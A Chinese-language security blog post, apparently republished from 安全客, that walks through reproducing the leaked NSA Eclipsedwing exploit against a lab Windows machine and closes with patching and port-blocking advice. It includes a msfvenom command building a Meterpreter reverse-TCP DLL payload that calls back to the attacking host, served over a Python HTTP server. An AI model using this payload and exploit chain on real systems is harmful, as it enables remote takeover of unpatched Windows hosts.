内容简介：【技术分享】NSA武器库之Eclipsedwing复现
作者 ： ComSoc
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn ，或登陆网页版在线投稿
导语
自shadow Brokers公布NSA泄露 工具 后，各路大神陆陆续续发表泄露工具各种exp复现过程，又WannaCry、EternalRocks勒索病毒的肆虐，无一不表现出泄露工具的威力，但泄露工具中光exploit就达15个，网络上搜索到的复现教程也就6个（Eternalblue，Eternalchampion，Eternalromance，Explodingcan，Esteemaudit，Easybee），还有一大半没有相关资料。那剩下的一大半就不重要吗？显然不是，NSA工具集值得学习的地方还有好多，于是有了今天的文章，有何不妥之处请各路大神指教！
前期准备
靶机环境
Eclipsedwin漏洞复现过程
Use Eclipsedwin
设置目标IP、端口和NetBIOSName，NetBIOSName是计算机的标识名，该名字主要用于局域网中计算机之间的相互访问，可通过在cmd下输入hostname获得。
然后基本默认，
Rpctouch Succeeded
Eclipsedwingtouch Succeeded
这时候在靶机上已经产生了一条连接
利用Pcdlllauncher注入dll
使用Pcdlllauncher
需要注意的是LPEntryname的路径需要真实存在，找到自己对应的文件进行修改。
然后使用生成用于反弹 shell 的dll payload:
并使用 python 创建一个HTTP服务器，方便攻击机下载payload，
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.128 lport=8090 --platform windows -f dll -o eclipsedwin.dll python -m SimpleHTTPServer 9090
攻击机创建tmp目录，并将eclipsedwin_exe.dll下载到tmp目录下, 然后进行配置，对PCBehavior选项选0
然后执行
运行提示“FAILED TO DUPLICATE SOCKET”，但payload已经在靶机上运行了。查看metasploit,成功返回shell
Eclipsedwin支持的系统
NBT协议即net bios over TCP/IP，属于SMB(Server Message Block) Windows协议族，用于文件和打印共享服务。NBT(NetBIOS over TCP/IP) 使用137(UDP), 138(UDP) and 139 (TCP）来实现基于TCP/IP的NETBIOS网际互联。
防范手段
安装MS08-067补丁，开启防火墙过滤137-139，445端口，关闭SMB服务。
本文由 安全客 原创发布，如需转载请注明来源及本文地址。
本文地址：http://bobao.360.cn/learning/detail/3994.html
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持 码农网
猜你喜欢:
- 黑客武器库：黑产工具大盘点
- 攻防最前线：黑客组织TA505武器库再添两款恶意软件
- 被遗漏的0day？APT-C-06组织另一网络武器库分析揭秘
- Waterbug间谍组织不断扩充其武器库，还劫持了Oilrig黑客组织的基础设施
- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- Ghost Tunnel复现
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
